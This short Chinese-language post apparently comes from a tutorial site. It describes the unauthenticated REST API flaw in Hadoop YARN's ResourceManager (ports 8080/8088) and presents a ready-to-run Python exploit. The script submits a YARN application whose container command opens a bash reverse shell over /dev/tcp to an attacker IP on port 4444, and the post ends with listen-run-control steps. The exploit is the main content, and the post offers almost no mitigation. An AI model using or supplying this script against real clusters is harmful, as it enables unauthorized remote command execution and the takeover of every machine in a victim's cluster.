赞
踩
前言:Hadoop是一个开源的分布式计算框架,用于处理大规模数据集的存储和处理。它基于Google的MapReduce算法和Google File System(GFS)的论文,旨在提供一个可靠、可扩展、分布式存储和处理大规模数据的解决方案。漏洞产生原因:负责对资源进行同一管理调度的 ReasourceManager 组件的UI管理界面开放在 8080/8088 端口,攻击者无需认证即可通过REST API 部署任务来执行任意命令,最终可完全控制集群中所有的机器。
能够访问下方链接即存在未授权访问漏洞
http://192.168.0.106:8088/cluster/apps
- #!/usr/bin/env python
-
- import requests
-
- target = 'http://10.20.30.205:8088/'
- lhost = '10.20.30.110' # 反弹shell接受IP地址,默认端口4444
-
- url = target + 'ws/v1/cluster/apps/new-application'
- resp = requests.post(url)
- app_id = resp.json()['application-id']
- url = target + 'ws/v1/cluster/apps'
- data = {
- 'application-id': app_id,
- 'application-name': 'get-shell',
- 'am-container-spec': {
- 'commands': {
- 'command': '/bin/bash -i >& /dev/tcp/%s/4444 0>&1' % lhost,
- },
- },
- 'application-type': 'YARN',
- }
- requests.post(url, json=data)

1. 攻击机进行监听。
2. 攻击机执行python脚本。
3. 攻击机获取控制权。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。